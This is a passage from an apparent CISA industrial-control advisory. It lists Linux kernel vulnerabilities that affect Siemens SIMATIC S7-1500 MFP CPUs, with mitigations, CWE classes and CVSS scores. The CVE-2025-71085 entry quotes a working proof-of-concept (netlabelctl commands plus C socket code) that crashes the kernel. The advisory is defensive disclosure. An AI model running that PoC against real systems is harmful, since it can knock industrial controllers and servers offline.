<p>In the Linux kernel, the following vulnerability has been resolved: net: hns3: using the num_tqps in the vf driver to apply for resources Currently, hdev-&gt;htqp is allocated using hdev-&gt;num_tqps, and kinfo-&gt;tqp is allocated using kinfo-&gt;num_tqps. However, kinfo-&gt;num_tqps is set to min(new_tqps, hdev-&gt;num_tqps); Therefore, kinfo-&gt;num_tqps may be smaller than hdev-&gt;num_tqps, which causes some hdev-&gt;htqp[i] to remain uninitialized in hclgevf_knic_setup(). Thus, this patch allocates hdev-&gt;htqp and kinfo-&gt;tqp using hdev-&gt;num_tqps, ensuring that the lengths of hdev-&gt;htqp and kinfo-&gt;tqp are consistent and that all elements are properly initialized.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-71064">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/909.html">CWE-909 Missing Initialization of Resource</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-71075</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: scsi: aic94xx: fix use-after-free in device removal path The asd_pci_remove() function fails to synchronize with pending tasklets before freeing the asd_ha structure, leading to a potential use-after-free vulnerability. When a device removal is triggered (via hot-unplug or module unload), race condition can occur. The fix adds tasklet_kill() before freeing the asd_ha structure, ensuring all scheduled tasklets complete before cleanup proceeds.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-71075">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/364.html">CWE-364 Signal Handler Race Condition</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-71079</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: nfc: fix deadlock between nfc_unregister_device and rfkill_fop_write A deadlock can occur between nfc_unregister_device() and rfkill_fop_write() due to lock ordering inversion between device_lock and rfkill_global_mutex. The problematic lock order is: Thread A (rfkill_fop_write): rfkill_fop_write() mutex_lock(&amp;rfkill_global_mutex) rfkill_set_block() nfc_rfkill_set_block() nfc_dev_down() device_lock(&amp;dev-&gt;dev) &lt;- waits for device_lock Thread B (nfc_unregister_device): nfc_unregister_device() device_lock(&amp;dev-&gt;dev) rfkill_unregister() mutex_lock(&amp;rfkill_global_mutex) &lt;- waits for rfkill_global_mutex This creates a classic ABBA deadlock scenario. Fix this by moving rfkill_unregister() and rfkill_destroy() outside the device_lock critical section. Store the rfkill pointer in a local variable before releasing the lock, then call rfkill_unregister() after releasing device_lock. This change is safe because rfkill_fop_write() holds rfkill_global_mutex while calling the rfkill callbacks, and rfkill_unregister() also acquires rfkill_global_mutex before cleanup. Therefore, rfkill_unregister() will wait for any ongoing callback to complete before proceeding, and device_del() is only called after rfkill_unregister() returns, preventing any use-after-free. The similar lock ordering in nfc_register_device() (device_lock -&gt; rfkill_global_mutex via rfkill_register) is safe because during registration the device is not yet in rfkill_list, so no concurrent rfkill operations can occur on this device.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-71079">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-71085</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr() There exists a kernel oops caused by a BUG_ON(nhead &lt; 0) at net/core/skbuff.c:2232 in pskb_expand_head(). This bug is triggered as part of the calipso_skbuff_setattr() routine when skb_cow() is passed headroom &gt; INT_MAX (i.e. (int)(skb_headroom(skb) + len_delta) &lt; 0). The root cause of the bug is due to an implicit integer cast in __skb_cow(). The check (headroom &gt; skb_headroom(skb)) is meant to ensure that delta = headroom - skb_headroom(skb) is never negative, otherwise we will trigger a BUG_ON in pskb_expand_head(). However, if headroom &gt; INT_MAX and delta &lt;= -NET_SKB_PAD, the check passes, delta becomes negative, and pskb_expand_head() is passed a negative value for nhead. Fix the trigger condition in calipso_skbuff_setattr(). Avoid passing "negative" headroom sizes to skb_cow() within calipso_skbuff_setattr() by only using skb_cow() to grow headroom. PoC: Using `netlabelctl` tool: netlabelctl map del default netlabelctl calipso add pass doi:7 netlabelctl map add default address:0::1/128 protocol:calipso,7 Then run the following PoC: int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP); // setup msghdr int cmsg_size = 2; int cmsg_len = 0x60; struct msghdr msg; struct sockaddr_in6 dest_addr; struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1, sizeof(struct cmsghdr) + cmsg_len); msg.msg_name = &amp;dest_addr; msg.msg_namelen = sizeof(dest_addr); msg.msg_iov = NULL; msg.msg_iovlen = 0; msg.msg_control = cmsg; msg.msg_controllen = cmsg_len; msg.msg_flags = 0; // setup sockaddr dest_addr.sin6_family = AF_INET6; dest_addr.sin6_port = htons(31337); dest_addr.sin6_flowinfo = htonl(31337); dest_addr.sin6_addr = in6addr_loopback; dest_addr.sin6_scope_id = 31337; // setup cmsghdr cmsg-&gt;cmsg_len = cmsg_len; cmsg-&gt;cmsg_level = IPPROTO_IPV6; cmsg-&gt;cmsg_type = IPV6_HOPOPTS; char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr); hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80 sendmsg(fd, &amp;msg, 0);</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-71085">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-71086</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: rose: fix invalid array index in rose_kill_by_device() rose_kill_by_device() collects sockets into a local array[] and then iterates over them to disconnect sockets bound to a device being brought down. The loop mistakenly indexes array[cnt] instead of array[i]. For cnt &lt; ARRAY_SIZE(array), this reads an uninitialized entry; for cnt == ARRAY_SIZE(array), it is an out-of-bounds read. Either case can lead to an invalid socket pointer dereference and also leaks references taken via sock_hold(). Fix the index to use i.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-71086">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-71088</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: mptcp: fallback earlier on simult connection Syzkaller reports a simult-connect race leading to inconsistent fallback status: WARNING: CPU: 3 PID: 33 at net/mptcp/subflow.c:1515 subflow_data_ready+0x40b/0x7c0 net/mptcp/subflow.c:1515 Modules linked in: CPU: 3 UID: 0 PID: 33 Comm: ksoftirqd/3 Not tainted syzkaller #0 PREEMPT(full) Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2~bpo12+1 04/01/2014 RIP: 0010:subflow_data_ready+0x40b/0x7c0 net/mptcp/subflow.c:1515 Code: 89 ee e8 78 61 3c f6 40 84 ed 75 21 e8 8e 66 3c f6 44 89 fe bf 07 00 00 00 e8 c1 61 3c f6 41 83 ff 07 74 09 e8 76 66 3c f6 90 &lt;0f&gt; 0b 90 e8 6d 66 3c f6 48 89 df e8 e5 ad ff ff 31 ff 89 c5 89 c6 RSP: 0018:ffffc900006cf338 EFLAGS: 00010246 RAX: 0000000000000000 RBX: ffff888031acd100 RCX: ffffffff8b7f2abf RDX: ffff88801e6ea440 RSI: ffffffff8b7f2aca RDI: 0000000000000005 RBP: 0000000000000000 R08: 0000000000000005 R09: 0000000000000007 R10: 0000000000000004 R11: 0000000000002c10 R12: ffff88802ba69900 R13: 1ffff920000d9e67 R14: ffff888046f81800 R15: 0000000000000004 FS: 0000000000000000(0000) GS:ffff8880d69bc000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 0000560fc0ca1670 CR3: 0000000032c3a000 CR4: 0000000000352ef0 Call Trace: tcp_data_queue+0x13b0/0x4f90 net/ipv4/tcp_input.c:5197 tcp_rcv_state_process+0xfdf/0x4ec0 net/ipv4/tcp_input.c:6922 tcp_v6_do_rcv+0x492/0x1740 net/ipv6/tcp_ipv6.c:1672 tcp_v6_rcv+0x2976/0x41e0 net/ipv6/tcp_ipv6.c:1918 ip6_protocol_deliver_rcu+0x188/0x1520 net/ipv6/ip6_input.c:438 ip6_input_finish+0x1e4/0x4b0 net/ipv6/ip6_input.c:489 NF_HOOK include/linux/netfilter.h:318 [inline] NF_HOOK include/linux/netfilter.h:312 [inline] ip6_input+0x105/0x2f0 net/ipv6/ip6_input.c:500 dst_input include/net/dst.h:471 [inline] ip6_rcv_finish net/ipv6/ip6_input.c:79 [inline] NF_HOOK include/linux/netfilter.h:318 [inline] NF_HOOK include/linux/netfilter.h:312 [inline] ipv6_rcv+0x264/0x650 net/ipv6/ip6_input.c:311 __netif_receive_skb_one_core+0x12d/0x1e0 net/core/dev.c:5979 __netif_receive_skb+0x1d/0x160 net/core/dev.c:6092 process_backlog+0x442/0x15e0 net/core/dev.c:6444 __napi_poll.constprop.0+0xba/0x550 net/core/dev.c:7494 napi_poll net/core/dev.c:7557 [inline] net_rx_action+0xa9f/0xfe0 net/core/dev.c:7684 handle_softirqs+0x216/0x8e0 kernel/softirq.c:579 run_ksoftirqd kernel/softirq.c:968 [inline] run_ksoftirqd+0x3a/0x60 kernel/softirq.c:960 smpboot_thread_fn+0x3f7/0xae0 kernel/smpboot.c:160 kthread+0x3c2/0x780 kernel/kthread.c:463 ret_from_fork+0x5d7/0x6f0 arch/x86/kernel/process.c:148 ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245 The TCP subflow can process the simult-connect syn-ack packet after transitioning to TCP_FIN1 state, bypassing the MPTCP fallback check, as the sk_state_change() callback is not invoked for * -&gt; FIN_WAIT1 transitions. That will move the msk socket to an inconsistent status and the next incoming data will hit the reported splat. Close the race moving the simult-fallback check at the earliest possible stage - that is at syn-ack generation time. About the fixes tags: [2] was supposed to also fix this issue introduced by [3]. [1] is required as a dependence: it was not explicitly marked as a fix, but it is one and it has already been backported before [3]. In other words, this commit should be backported up to [3], including [2] and [1] if that's not already there.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-71088">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/366.html">CWE-366 Race Condition within a Thread</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-71095</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: stmmac: fix the crash issue for zero copy XDP_TX action There is a crash issue when running zero copy XDP_TX action, the crash log is shown below. [ 216.122464] Unable to handle kernel paging request at virtual address fffeffff80000000 [ 216.187524] Internal error: Oops: 0000000096000144 [#1] SMP [ 216.301694] Call trace: [ 216.304130] dcache_clean_poc+0x20/0x38 (P) [ 216.308308] __dma_sync_single_for_device+0x1bc/0x1e0 [ 216.313351] stmmac_xdp_xmit_xdpf+0x354/0x400 [ 216.317701] __stmmac_xdp_run_prog+0x164/0x368 [ 216.322139] stmmac_napi_poll_rxtx+0xba8/0xf00 [ 216.326576] __napi_poll+0x40/0x218 [ 216.408054] Kernel panic - not syncing: Oops: Fatal exception in interrupt For XDP_TX action, the xdp_buff is converted to xdp_frame by xdp_convert_buff_to_frame(). The memory type of the resulting xdp_frame depends on the memory type of the xdp_buff. For page pool based xdp_buff it produces xdp_frame with memory type MEM_TYPE_PAGE_POOL. For zero copy XSK pool based xdp_buff it produces xdp_frame with memory type MEM_TYPE_PAGE_ORDER0. However, stmmac_xdp_xmit_back() does not check the memory type and always uses the page pool type, this leads to invalid mappings and causes the crash. Therefore, check the xdp_buff memory type in stmmac_xdp_xmit_back() to fix this issue.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-71095">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-71097</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: ipv4: Fix reference count leak when using error routes with nexthop objects When a nexthop object is deleted, it is marked as dead and then fib_table_flush() is called to flush all the routes that are using the dead nexthop. The current logic in fib_table_flush() is to only flush error routes (e.g., blackhole) when it is called as part of network namespace dismantle (i.e., with flush_all=true). Therefore, error routes are not flushed when their nexthop object is deleted: # ip link add name dummy1 up type dummy # ip nexthop add id 1 dev dummy1 # ip route add 198.51.100.1/32 nhid 1 # ip route add blackhole 198.51.100.2/32 nhid 1 # ip nexthop del id 1 # ip route show blackhole 198.51.100.2 nhid 1 dev dummy1 As such, they keep holding a reference on the nexthop object which in turn holds a reference on the nexthop device, resulting in a reference count leak: # ip link del dev dummy1 [ 70.516258] unregister_netdevice: waiting for dummy1 to become free. Usage count = 2 Fix by flushing error routes when their nexthop is marked as dead. IPv6 does not suffer from this problem.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-71097">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/772.html">CWE-772 Missing Release of Resource after Effective Lifetime</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-71098</a></h3>
<div class="csaf-accordion-content">
